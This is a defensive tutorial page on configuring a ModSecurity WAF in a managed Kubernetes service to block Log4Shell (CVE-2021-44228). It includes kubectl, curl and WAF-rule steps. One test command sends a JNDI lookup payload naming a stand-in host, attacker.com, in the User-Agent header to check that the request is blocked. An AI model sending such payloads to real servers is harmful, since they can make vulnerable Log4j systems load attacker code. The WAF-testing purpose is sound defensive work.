Skip to main content

k8saas hello world protected against CVE-2021-44228

Context​

From 10th of December, a critical vulnerability has been discovered on the Apache Log4j library. Some of your application may use this library on the k8saas service. The purpose of this tutorial is to set up the WAF with the configuration that blocks the exploitation of the CVE-2021-44228.

Note: As mentioned in most of the online recommendation, we recommend upgrading the log4j library. This tutorial is a quick fix, temporary to avoid any exploitation in short term.

Source:

Prerequisites​

To run this tutorial, we should first have:

  • a k8saas cluster deployed

Then get the following files:

Tutorial​

First, get your credentials :

note

The cluster and the resource group has already the same name with k8saas.

az aks get-credentials --name k8saas-<CLUSTER_INSTANCE_NAME> --resource-group k8saas-<CLUSTER_INSTANCE_NAME>
kubelogin convert-kubeconfig -l azurecli

Update DNS zone​

You will need to update the file pomerium-ingress.yaml with the right DNS zone and at the same time we will change the host to be sure it's unique and not interfering with another project.

Look and replace:

spec:
  ingressClassName: pomerium
  rules:
  - host: <VALUE_TO_CHANGE>.demo-cve.<DNS_ZONE>
...
  tls:
  - hosts:
    - <VALUE_TO_CHANGE>.demo-cve.<DNS_ZONE>

With the DNS zone information that was in the onboarding email sent to you. If you do not have this information you can always run this:

kubectl get ingress -n monitoring

It should return something like this:

NAME                          CLASS   HOSTS                                                             ADDRESS         PORTS     AGE
prometheus-operator-grafana   nginx   grafana.k8saas-rbo-sandbox.eu.k8saas.thalesdigital.io        20.50.218.145   80, 443   389d

Now with the information from the previous command, update pomerium-ingress.yaml with the right information. Here we've replaced hello-world-ingress with rbo-sandbox-hw to be unique like suggested earlier.

spec:
  ingressClassName: pomerium
  rules:
  - host: rbo-sandbox-hw.demo-pomerium.eu.k8saas.thalesdigital.io
...
  tls:
  - hosts:
    - rbo-sandbox-hw.demo-pomerium.eu.k8saas.thalesdigital.io

Deploy 1 application and 1 ingress:​

# this start a hello world pod
kubectl apply -f aks-helloworld-one.yaml --namespace customer-namespaces

############# Please customize the domain name in the hello-world-ingress.yaml ###########
# this start 2 ingress that bind your previous application to a DNS domain, by default: hello-world-ingress.cve-2021-44228.kaas.thalesdigital.io
kubectl apply -f hello-world-ingress.yaml --namespace customer-namespaces

Now in a shell:

curl -k https://<VALUE_TO_CHANGE>.demo-cve.<DNS_ZONE>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
    <link rel="stylesheet" type="text/css" href="/static/default.css">
    <title>Welcome to Azure Kubernetes Service (AKS)</title>

    <script language="JavaScript">
        function send(form){
        }
    </script>

</head>
<body>
    <div id="container">
        <form id="form" name="form" action="/"" method="post"><center>
        <div id="logo">Welcome to Azure Kubernetes Service (AKS)</div>
        <div id="space"></div>
        <img src="/static/acs.png" als="acs logo">
        <div id="form">
        </div>
    </div>
</body>
</html>%

Then, test the exploit:

curl -A "\${jndi:ldap://attacker.com/reference}" -k https://<VALUE_TO_CHANGE>.demo-cve.<DNS_ZONE>
<html>
<head><title>403 Forbidden</title></head>
<body>
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx</center>
</body>
</html>

TADA, the query is blocked by the WAF !

Then, check the logs.

If it's the first time you access to log analytics, follow the onboarding doc here

Run the following query:

ingress_CL
| where kubernetes_labels_app_kubernetes_io_name_s contains "ingress-nginx"
| where log_s contains "ModSecurity"
| project TimeGenerated, log_s

You should see this message:

2021/12/16 10:44:16 [error] 2116#2116: *1969075 [client 62.23.99.111] ModSecurity: Access denied with code 403 (phase 2). Matched "Operator `Ge' with parameter `5' against variable `TX:ANOMALY_SCORE' (Value: `5' ) [file "/etc/nginx/owasp-modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "80"] [id "949110"] [rev ""] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [data ""] [severity "2"] [ver "OWASP_CRS/3.3.2"] [maturity "0"] [accuracy "0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "10.50.6.37"] [uri "/"] [unique_id "1639651456"] [ref ""], client: 62.23.99.111, server: hello-world-ingress.cve-2021-44228.kaas.thalesdigital.io, request: "GET / HTTP/2.0", host: "hello-world-ingress.cve-2021-44228.kaas.thalesdigital.io"

What to do to protect your application ?​

First, set up your WAF on any ingresses using the k8saas WAF doc

Then, adapt the WAF configuration using:

    nginx.ingress.kubernetes.io/modsecurity-snippet: |
      SecRuleEngine On
      SecAuditLog /customer-namespaces/stdout
      Include /etc/nginx/owasp-modsecurity-crs/nginx-modsecurity.conf
      SecRuleUpdateTargetById 932130 "REQUEST_HEADERS:User-Agent"
      SecRuleUpdateTargetById 932130 "REQUEST_HEADERS:Referer"

Note: If it's the first time you set up a WAF, test it on customer-namespaces/test environment first. If the WAF was already set up, you can proceed as is directly.

Warning​

Using "SecRuleEngine DetectionOnly" does not generate any log.